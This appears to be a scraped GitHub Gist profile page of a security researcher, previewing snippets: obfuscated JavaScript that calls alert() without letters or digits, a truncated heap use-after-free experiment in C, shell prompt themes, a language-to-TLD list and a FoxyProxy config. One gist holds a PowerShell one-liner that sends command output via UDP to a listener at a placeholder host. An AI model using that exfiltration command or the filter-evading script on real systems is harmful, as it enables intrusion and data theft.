Skip to content

Instantly share code, notes, and snippets.

View ignis-sec's full-sized avatar

Ata Hakçıl ignis-sec

View GitHub Profile
dddddd
llllll
llllllll
lllllldd
lllllll
dddddddd
lllllllll
llllllld
llllllldd
llllllllll
@ignis-sec
ignis-sec / lol.html
Created September 23, 2021 22:03
alert() without letters or numbers
<script>
/*
〱='',〳=〱,ᘓ=〱+{},ᘒ=〱+[][[]],〱+=[〱==〱],〳+=[!〱],ᘑ=+[],ᘐ=+!+[],ᘔ=ᘐ+ᘐ,ᘕ=ᘔ+ᘐ,ᘖ=ᘔ+ᘕ,ᘖ+=ᘖ+ᘖ+ᘔ,ᘗ=ᘖ+ᘐ,ᘘ=ᘓ[ᘔ+ᘕ],ᘙ=ᘓ[ᘐ],ᘚ=〱[ᘐ],ᘲ=〱[ᘑ],ᘳ=ᘘ+ᘙ+ᘒ[ᘐ]+〳[ᘕ]+ᘲ+ᘚ+ᘒ[ᘑ]+ᘘ+ᘲ+ᘙ+〱[ᘐ],ᘰ=[][ᘳ][ᘳ],ᘏ=''+ᘰ,ᘎ=〳[ᘐ]+〳[ᘔ]+〱[ᘕ]+ᘚ+ᘲ+ᘏ[ᘖ]+ᘏ[ᘗ],ᘰ`ᘳ${ᘎ}```
*/
〱=''
〳=〱 //''
ᘓ=〱+{} //'[object Object]' <- '' + [object Object]
ᘒ=〱+[][[]] //'undefined' <- '' + undefined
@ignis-sec
ignis-sec / uaf_to_prevsize.c
Last active January 30, 2023 01:27
If this is turns out to be a new method, i nominate "House of Flames"
int main(){
unsigned long* a = malloc(0x508);
unsigned long* b = malloc(0x508);
memset(a,'A',0x508);
memset(b,'B',0x508);
printf("################ A: %lx\n",a);
printf("################ B: %lx\n",b);
printf("################ A->size: %llx\n",*(a-1));
#https://twitter.com/officialmcafee/status/1397568860082122752
#https://twitter.com/ahakcil/status/1397888724936105987
import random
import copy
RST = '\033[0m'
def rand_data(size):
d = []
@ignis-sec
ignis-sec / cold.sh
Created February 9, 2021 20:46
cold.zsh-theme
flame='\xF0\x9F\x94\xA5' #🔥
snow='\xE2\x9D\x84 ' # ❄
gear='\xE2\x9A\x99\xEF\xB8\x8F'
ignis_color='048'
SEGMENT_SEPARATOR=$'\ue0b0'
prompt_segment() {
local bg fg
flame='\xF0\x9F\x94\xA5' #
gear='\xE2\x9A\x99\xEF\xB8\x8F'
ignis_color='048'
SEGMENT_SEPARATOR=$'\ue0b0'
prompt_segment() {
local bg fg
[[ -n $1 ]] && bg="%K{$1}" || bg="%k"
@ignis-sec
ignis-sec / Microsoft.PowerShell_profile.ps1
Created September 22, 2020 15:16
My powershell profile
function Prompt
{
$FullUnicode = 'U+1F525'
$StrippedUnicode = $FullUnicode -replace 'U\+',''
$UnicodeInt = [System.Convert]::toInt32($StrippedUnicode,16)
$promptEmoji = [System.Char]::ConvertFromUtf32($UnicodeInt)
(Write-Host -NoNewline (Get-Date -Format "[HH:mm:ss]$promptEmoji"))
(Write-Host -NoNewline $env:USERNAME -ForegroundColor Red)
@ignis-sec
ignis-sec / powershell-udp-rce-output.txt
Created July 11, 2020 19:51
powershell command to return executed command output from 53/udp.
# On your host:
# $ nc -lnvup 53
# Replace <HOSTIP> with ip of the listening machine
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));"
tlds = {
"German":["%.de", "%.at", "%.li"],
"Portugese":["%.br", "%.ao", "%.mz", "%.pt", "%.gw"],
"Spanish":["%.mx", "%.es", "%.ar", "%.ve", "%.cl", "%.gt", "%.cu", "%.do", "%.ho", "%.uy"],
"Arabic":["%.eg", "%.sd", "%.iq", "%.ma", "%.sa", "%.ye", "%.sy", "%.tn", "%.so", "%.td", "ae", "%.jo", "%.ly", "%.lb", "%.om", "%.mr", "%.kw", "%.qa", "%.bh"],
"French": ["%.fr", "%.cd", "%.ci", "%.ne", "%.bf", "%.sn"],
"Albanian":["%.al"],
"Armenian":["%.am"],
"Azerbaijani": ["%.az"],
"Bulgarian":["%.bg"],
@ignis-sec
ignis-sec / bb-foxyproxy-pattern.json
Created June 24, 2020 09:06
foxyproxy pattern (install Storage area explorer and import this file, foxyproxy import/export is broken)
{
"30523382": {
"className": "Proxy",
"data": {
"bypassFPForPAC": true,
"color": "#f57575",
"configUrl": "",
"credentials": "U2FsdGVkX1+tf3lvD5TBClW2UUSZAT4AWsCo/i0kU2M=",
"cycle": false,
"enabled": true,